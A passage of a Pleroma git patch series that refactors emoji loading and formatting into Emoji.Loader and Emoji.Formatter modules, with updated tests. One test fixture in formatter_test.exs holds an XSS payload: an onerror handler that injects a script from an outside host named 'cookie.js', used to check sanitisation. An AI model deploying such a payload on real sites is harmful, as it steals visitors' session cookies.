From cef2e980b1f6b07c2bdb01030559aca83257bd7e Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 28 Aug 2019 21:32:44 +0300 Subject: [PATCH 01/33] division emoji.ex on loader.ex and emoji.ex --- lib/mix/tasks/pleroma/emoji.ex | 2 +- lib/pleroma/emoji.ex | 212 +++------------------------------ lib/pleroma/emoji/loader.ex | 204 +++++++++++++++++++++++++++++++ test/emoji/loader_test.exs | 83 +++++++++++++ test/emoji_test.exs | 75 ------------ 5 files changed, 304 insertions(+), 272 deletions(-) create mode 100644 lib/pleroma/emoji/loader.ex create mode 100644 test/emoji/loader_test.exs diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex index c2225af7d..dc5f7c193 100644 --- a/lib/mix/tasks/pleroma/emoji.ex +++ b/lib/mix/tasks/pleroma/emoji.ex @@ -235,7 +235,7 @@ defmodule Mix.Tasks.Pleroma.Emoji do cwd: tmp_pack_dir ) - emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts) + emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts) File.write!(files_name, Jason.encode!(emoji_map, pretty: true)) diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index 66e20f0e4..ab6ba7d6a 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -4,24 +4,22 @@ defmodule Pleroma.Emoji do @moduledoc """ - The emojis are loaded from: - - * emoji packs in INSTANCE-DIR/emoji - * the files: `config/emoji.txt` and `config/custom_emoji.txt` - * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder - - This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime. + This GenServer stores in an ETS table the list of the loaded emojis, + and also allows to reload the list at runtime. """ use GenServer + alias Pleroma.Emoji.Loader + require Logger - @type pattern :: Regex.t() | module() | String.t() - @type patterns :: pattern() | [pattern()] - @type group_patterns :: keyword(patterns()) - @ets __MODULE__.Ets - @ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}] + @ets_options [ + :ordered_set, + :protected, + :named_table, + {:read_concurrency, true} + ] @doc false def start_link(_) do @@ -44,7 +42,7 @@ defmodule Pleroma.Emoji do end @doc "Returns all the emojos!!" - @spec get_all() :: [{String.t(), String.t()}, ...] + @spec get_all() :: list({String.t(), String.t(), String.t()}) def get_all do :ets.tab2list(@ets) end @@ -58,13 +56,13 @@ defmodule Pleroma.Emoji do @doc false def handle_cast(:reload, state) do - load() + update_emojis(Loader.load()) {:noreply, state} end @doc false def handle_call(:reload, _from, state) do - load() + update_emojis(Loader.load()) {:reply, :ok, state} end @@ -75,189 +73,11 @@ defmodule Pleroma.Emoji do @doc false def code_change(_old_vsn, state, _extra) do - load() + update_emojis(Loader.load()) {:ok, state} end - defp load do - emoji_dir_path = - Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - emoji_groups = Pleroma.Config.get([:emoji, :groups]) - - case File.ls(emoji_dir_path) do - {:error, :enoent} -> - # The custom emoji directory doesn't exist, - # don't do anything - nil - - {:error, e} -> - # There was some other error - Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") - - {:ok, results} -> - grouped = - Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end) - - packs = grouped[true] || [] - files = grouped[false] || [] - - # Print the packs we've found - Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") - - if not Enum.empty?(files) do - Logger.warn( - "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ - Enum.join(files, ", ") - }" - ) - end - - emojis = - Enum.flat_map( - packs, - fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end - ) - - true = :ets.insert(@ets, emojis) - end - - # Compat thing for old custom emoji handling & default emoji, - # it should run even if there are no emoji packs - shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], []) - - emojis = - (load_from_file("config/emoji.txt", emoji_groups) ++ - load_from_file("config/custom_emoji.txt", emoji_groups) ++ - load_from_globs(shortcode_globs, emoji_groups)) - |> Enum.reject(fn value -> value == nil end) - - true = :ets.insert(@ets, emojis) - - :ok - end - - defp load_pack(pack_dir, emoji_groups) do - pack_name = Path.basename(pack_dir) - - emoji_txt = Path.join(pack_dir, "emoji.txt") - - if File.exists?(emoji_txt) do - load_from_file(emoji_txt, emoji_groups) - else - extensions = Pleroma.Config.get([:emoji, :pack_extensions]) - - Logger.info( - "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji" - ) - - make_shortcode_to_file_map(pack_dir, extensions) - |> Enum.map(fn {shortcode, rel_file} -> - filename = Path.join("/emoji/#{pack_name}", rel_file) - - {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} - end) - end - end - - def make_shortcode_to_file_map(pack_dir, exts) do - find_all_emoji(pack_dir, exts) - |> Enum.map(&Path.relative_to(&1, pack_dir)) - |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) - |> Enum.into(%{}) - end - - def find_all_emoji(dir, exts) do - Enum.reduce( - File.ls!(dir), - [], - fn f, acc -> - filepath = Path.join(dir, f) - - if File.dir?(filepath) do - acc ++ find_all_emoji(filepath, exts) - else - acc ++ [filepath] - end - end - ) - |> Enum.filter(fn f -> Path.extname(f) in exts end) - end - - defp load_from_file(file, emoji_groups) do - if File.exists?(file) do - load_from_file_stream(File.stream!(file), emoji_groups) - else - [] - end - end - - defp load_from_file_stream(stream, emoji_groups) do - stream - |> Stream.map(&String.trim/1) - |> Stream.map(fn line -> - case String.split(line, ~r/,\s*/) do - [name, file] -> - {name, file, [to_string(match_extra(emoji_groups, file))]} - - [name, file | tags] -> - {name, file, tags} - - _ -> - nil - end - end) - |> Enum.to_list() - end - - defp load_from_globs(globs, emoji_groups) do - static_path = Path.join(:code.priv_dir(:pleroma), "static") - - paths = - Enum.map(globs, fn glob -> - Path.join(static_path, glob) - |> Path.wildcard() - end) - |> Enum.concat() - - Enum.map(paths, fn path -> - tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) - shortcode = Path.basename(path, Path.extname(path)) - external_path = Path.join("/", Path.relative_to(path, static_path)) - {shortcode, external_path, [to_string(tag)]} - end) - end - - @doc """ - Finds a matching group for the given emoji filename - """ - @spec match_extra(group_patterns(), String.t()) :: atom() | nil - def match_extra(group_patterns, filename) do - match_group_patterns(group_patterns, fn pattern -> - case pattern do - %Regex{} = regex -> Regex.match?(regex, filename) - string when is_binary(string) -> filename == string - end - end) - end - - defp match_group_patterns(group_patterns, matcher) do - Enum.find_value(group_patterns, fn {group, patterns} -> - patterns = - patterns - |> List.wrap() - |> Enum.map(fn pattern -> - if String.contains?(pattern, "*") do - ~r(#{String.replace(pattern, "*", ".*")}) - else - pattern - end - end) - - Enum.any?(patterns, matcher) && group - end) + defp update_emojis(emojis) do + :ets.insert(@ets, emojis) end end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex new file mode 100644 index 000000000..e93b0aecc --- /dev/null +++ b/lib/pleroma/emoji/loader.ex @@ -0,0 +1,204 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Loader do + @moduledoc """ + The Loader emoji from: + + * emoji packs in INSTANCE-DIR/emoji + * the files: `config/emoji.txt` and `config/custom_emoji.txt` + * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder + """ + alias Pleroma.Config + + require Logger + + @type pattern :: Regex.t() | module() | String.t() + @type patterns :: pattern() | [pattern()] + @type group_patterns :: keyword(patterns()) + @type emoji :: {String.t(), String.t(), list(String.t())} + + @doc """ + Loads emojis from files/packs. + + returns list emojis in format: + `{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}` + """ + @spec load() :: list(emoji) + def load do + emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji") + + emoji_groups = Config.get([:emoji, :groups]) + + emojis = + case File.ls(emoji_dir_path) do + {:error, :enoent} -> + # The custom emoji directory doesn't exist, + # don't do anything + [] + + {:error, e} -> + # There was some other error + Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") + [] + + {:ok, results} -> + grouped = + Enum.group_by(results, fn file -> + File.dir?(Path.join(emoji_dir_path, file)) + end) + + packs = grouped[true] || [] + files = grouped[false] || [] + + # Print the packs we've found + Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") + + if not Enum.empty?(files) do + Logger.warn( + "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ + Enum.join(files, ", ") + }" + ) + end + + Enum.flat_map(packs, fn pack -> + load_pack(Path.join(emoji_dir_path, pack), emoji_groups) + end) + end + + # Compat thing for old custom emoji handling & default emoji, + # it should run even if there are no emoji packs + shortcode_globs = Config.get([:emoji, :shortcode_globs], []) + + emojis_txt = + (load_from_file("config/emoji.txt", emoji_groups) ++ + load_from_file("config/custom_emoji.txt", emoji_groups) ++ + load_from_globs(shortcode_globs, emoji_groups)) + |> Enum.reject(fn value -> value == nil end) + + emojis ++ emojis_txt + end + + defp load_pack(pack_dir, emoji_groups) do + pack_name = Path.basename(pack_dir) + + emoji_txt = Path.join(pack_dir, "emoji.txt") + + if File.exists?(emoji_txt) do + load_from_file(emoji_txt, emoji_groups) + else + extensions = Config.get([:emoji, :pack_extensions]) + + Logger.info( + "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji" + ) + + make_shortcode_to_file_map(pack_dir, extensions) + |> Enum.map(fn {shortcode, rel_file} -> + filename = Path.join("/emoji/#{pack_name}", rel_file) + + {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} + end) + end + end + + def make_shortcode_to_file_map(pack_dir, exts) do + find_all_emoji(pack_dir, exts) + |> Enum.map(&Path.relative_to(&1, pack_dir)) + |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) + |> Enum.into(%{}) + end + + def find_all_emoji(dir, exts) do + Enum.reduce( + File.ls!(dir), + [], + fn f, acc -> + filepath = Path.join(dir, f) + + if File.dir?(filepath) do + acc ++ find_all_emoji(filepath, exts) + else + acc ++ [filepath] + end + end + ) + |> Enum.filter(fn f -> Path.extname(f) in exts end) + end + + defp load_from_file(file, emoji_groups) do + if File.exists?(file) do + load_from_file_stream(File.stream!(file), emoji_groups) + else + [] + end + end + + defp load_from_file_stream(stream, emoji_groups) do + stream + |> Stream.map(&String.trim/1) + |> Stream.map(fn line -> + case String.split(line, ~r/,\s*/) do + [name, file] -> + {name, file, [to_string(match_extra(emoji_groups, file))]} + + [name, file | tags] -> + {name, file, tags} + + _ -> + nil + end + end) + |> Enum.to_list() + end + + defp load_from_globs(globs, emoji_groups) do + static_path = Path.join(:code.priv_dir(:pleroma), "static") + + paths = + Enum.map(globs, fn glob -> + Path.join(static_path, glob) + |> Path.wildcard() + end) + |> Enum.concat() + + Enum.map(paths, fn path -> + tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) + shortcode = Path.basename(path, Path.extname(path)) + external_path = Path.join("/", Path.relative_to(path, static_path)) + {shortcode, external_path, [to_string(tag)]} + end) + end + + @doc """ + Finds a matching group for the given emoji filename + """ + @spec match_extra(group_patterns(), String.t()) :: atom() | nil + def match_extra(group_patterns, filename) do + match_group_patterns(group_patterns, fn pattern -> + case pattern do + %Regex{} = regex -> Regex.match?(regex, filename) + string when is_binary(string) -> filename == string + end + end) + end + + defp match_group_patterns(group_patterns, matcher) do + Enum.find_value(group_patterns, fn {group, patterns} -> + patterns = + patterns + |> List.wrap() + |> Enum.map(fn pattern -> + if String.contains?(pattern, "*") do + ~r(#{String.replace(pattern, "*", ".*")}) + else + pattern + end + end) + + Enum.any?(patterns, matcher) && group + end) + end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Loader + + describe "match_extra/2" do + setup do + groups = [ + "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], + "wildcard folder": "/emoji/custom/*/file.png", + "wildcard files": "/emoji/custom/folder/*.png", + "special file": "/emoji/custom/special.png" + ] + + {:ok, groups: groups} + end + + test "config for list of files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/first_file.png") + |> to_string() + + assert group == "list of files" + end + + test "config with wildcard folder", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard folder and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config with wildcard files and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config for special file", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/special.png") + |> to_string() + + assert group == "special file" + end + + test "no mathing returns nil", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/some_undefined.png") + + refute group + end + end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 07ac6ff1d..32a828cc9 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -32,79 +32,4 @@ defmodule Pleroma.EmojiTest do assert is_list(tags) end end - - describe "match_extra/2" do - setup do - groups = [ - "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], - "wildcard folder": "/emoji/custom/*/file.png", - "wildcard files": "/emoji/custom/folder/*.png", - "special file": "/emoji/custom/special.png" - ] - - {:ok, groups: groups} - end - - test "config for list of files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/first_file.png") - |> to_string() - - assert group == "list of files" - end - - test "config with wildcard folder", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard folder and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config with wildcard files and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config for special file", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/special.png") - |> to_string() - - assert group == "special file" - end - - test "no mathing returns nil", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/some_undefined.png") - - refute group - end - end end From d7808b5db437b3300122127cef4c7ad076de7bda Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 29 Aug 2019 06:22:18 +0300 Subject: [PATCH 02/33] added code\path fields without html tags in ets --- lib/pleroma/emoji/loader.ex | 12 +- lib/pleroma/formatter.ex | 31 ++--- lib/pleroma/web/common_api/utils.ex | 2 +- .../controllers/mastodon_api_controller.ex | 2 +- .../controllers/util_controller.ex | 2 +- test/emoji_test.exs | 8 +- test/formatter_test.exs | 110 +++++++++--------- 7 files changed, 93 insertions(+), 74 deletions(-) diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index e93b0aecc..70eba9ac6 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -78,7 +78,17 @@ defmodule Pleroma.Emoji.Loader do load_from_globs(shortcode_globs, emoji_groups)) |> Enum.reject(fn value -> value == nil end) - emojis ++ emojis_txt + Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) + end + + defp prepare_emoji({code, file, tags} = _emoji) do + { + code, + file, + tags, + Pleroma.HTML.strip_tags(code), + Pleroma.HTML.strip_tags(file) + } end defp load_pack(pack_dir, emoji_groups) do diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 607843a5b..84955289c 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -107,19 +107,22 @@ defmodule Pleroma.Formatter do def emojify(text, nil), do: text def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) + Enum.reduce(emoji, text, fn + {_, _, _, emoji, file}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - html = - if not strip do - "#{emoji}" - else - "" - end - - String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags() + emoji_data, text -> + emoji = HTML.strip_tags(elem(emoji_data, 0)) + file = HTML.strip_tags(elem(emoji_data, 1)) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" end def demojify(text) do @@ -130,7 +133,9 @@ defmodule Pleroma.Formatter do @doc "Outputs a list of the emoji-shortcodes in a text" def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end) + Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + String.contains?(text, ":#{emoji}:") + end) end def get_emoji(_), do: [] @@ -138,7 +143,7 @@ defmodule Pleroma.Formatter do @doc "Outputs a list of the emoji-Maps in a text" def get_emoji_map(text) when is_binary(text) do get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group}, acc -> + |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") end) end diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 6958c7511..9686e6491 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -435,7 +435,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do def emoji_from_profile(%{info: _info} = user) do (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _} -> + |> Enum.map(fn {shortcode, url, _, _, _} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 83e877c0e..603c6b3c6 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -331,7 +331,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags} -> + |> Enum.map(fn {shortcode, relative_url, tags, _, _} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 3405bd3b7..923480242 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -240,7 +240,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do def emoji(conn, _params) do emoji = Emoji.get_all() - |> Enum.map(fn {short_code, path, tags} -> + |> Enum.map(fn {short_code, path, tags, _, _} -> {short_code, %{image_url: path, tags: tags}} end) |> Enum.into(%{}) diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 32a828cc9..82f9c52ff 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags} = emoji + {code, path, tags, _, _} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 5 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,9 +24,9 @@ defmodule Pleroma.EmojiTest do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags} = emoji + {code, path, tags, _, _} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 5 assert is_binary(code) assert is_binary(path) assert is_list(tags) diff --git a/test/formatter_test.exs b/test/formatter_test.exs index bfa673049..7a5bd0f9f 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -217,6 +217,27 @@ defmodule Pleroma.FormatterTest do assert expected_text =~ "how are you doing?" end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end end describe ".parse_tags" do @@ -234,67 +255,50 @@ defmodule Pleroma.FormatterTest do end end - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + expected_result = + "I love \"firefox\"" - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] + assert Formatter.emojify(text) == expected_result + end - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = %{ + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + "https://placehold.it/1x1" + } + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, custom_emoji) == expected_result + end end - test "it adds cool emoji" do - text = "I love :firefox:" + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" - expected_result = - "I love \"firefox\"" + assert Formatter.get_emoji(text) == [ + {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + ] + end - assert Formatter.emojify(text) == expected_result - end + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end end test "it escapes HTML in plain text" do From 5c90b7073332ac333a5db9dfc82744cee03843fa Mon Sep 17 00:00:00 2001 From: Maksim Date: Thu, 29 Aug 2019 11:45:25 +0000 Subject: [PATCH 03/33] Apply suggestion to lib/pleroma/emoji/loader.ex --- lib/pleroma/emoji/loader.ex | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index 70eba9ac6..82fc3b8c3 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -122,19 +122,17 @@ defmodule Pleroma.Emoji.Loader do end def find_all_emoji(dir, exts) do - Enum.reduce( - File.ls!(dir), - [], - fn f, acc -> - filepath = Path.join(dir, f) + dir + |> File.ls!() + |> Enum.flat_map(fn f -> + filepath = Path.join(dir, f) - if File.dir?(filepath) do - acc ++ find_all_emoji(filepath, exts) - else - acc ++ [filepath] - end + if File.dir?(filepath) do + find_all_emoji(filepath, exts) + else + [filepath] end - ) + end) |> Enum.filter(fn f -> Path.extname(f) in exts end) end From d8098d142a0e8412eabdf5fe63705c25bcb1be34 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 29 Aug 2019 22:01:37 +0300 Subject: [PATCH 04/33] added Emoji.Formatter --- lib/pleroma/emoji/formatter.ex | 59 +++++++++++++++++++ lib/pleroma/formatter.ex | 52 ---------------- lib/pleroma/web/common_api/common_api.ex | 18 +++--- lib/pleroma/web/common_api/utils.ex | 5 +- .../controllers/mastodon_api_controller.ex | 4 +- lib/pleroma/web/metadata/utils.ex | 5 +- .../web/twitter_api/twitter_api_controller.ex | 4 +- .../web/twitter_api/views/activity_view.ex | 6 +- .../web/twitter_api/views/user_view.ex | 7 ++- test/emoji/formatter_test.exs | 54 +++++++++++++++++ test/formatter_test.exs | 46 --------------- 11 files changed, 141 insertions(+), 119 deletions(-) create mode 100644 lib/pleroma/emoji/formatter.ex create mode 100644 test/emoji/formatter_test.exs diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex new file mode 100644 index 000000000..acdef3988 --- /dev/null +++ b/lib/pleroma/emoji/formatter.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Formatter do + alias Pleroma.Emoji + alias Pleroma.HTML + alias Pleroma.Web.MediaProxy + + def emojify(text) do + emojify(text, Emoji.get_all()) + end + + def emojify(text, nil), do: text + + def emojify(text, emoji, strip \\ false) do + Enum.reduce(emoji, text, fn + {_, _, _, emoji, file}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + + emoji_data, text -> + emoji = HTML.strip_tags(elem(emoji_data, 0)) + file = HTML.strip_tags(elem(emoji_data, 1)) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" + end + + def demojify(text) do + emojify(text, Emoji.get_all(), true) + end + + def demojify(text, nil), do: text + + @doc "Outputs a list of the emoji-shortcodes in a text" + def get_emoji(text) when is_binary(text) do + Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + String.contains?(text, ":#{emoji}:") + end) + end + + def get_emoji(_), do: [] + + @doc "Outputs a list of the emoji-Maps in a text" + def get_emoji_map(text) when is_binary(text) do + get_emoji(text) + |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> + Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") + end) + end + + def get_emoji_map(_), do: [] +end diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 84955289c..dbbfe3a66 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -3,10 +3,8 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Formatter do - alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.User - alias Pleroma.Web.MediaProxy @safe_mention_regex ~r/^(\s*(?(@.+?\s+){1,})+)(?.*)/s @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui @@ -100,56 +98,6 @@ defmodule Pleroma.Formatter do end end - def emojify(text) do - emojify(text, Emoji.get_all()) - end - - def emojify(text, nil), do: text - - def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn - {_, _, _, emoji, file}, text -> - String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - - emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) - String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - end) - |> 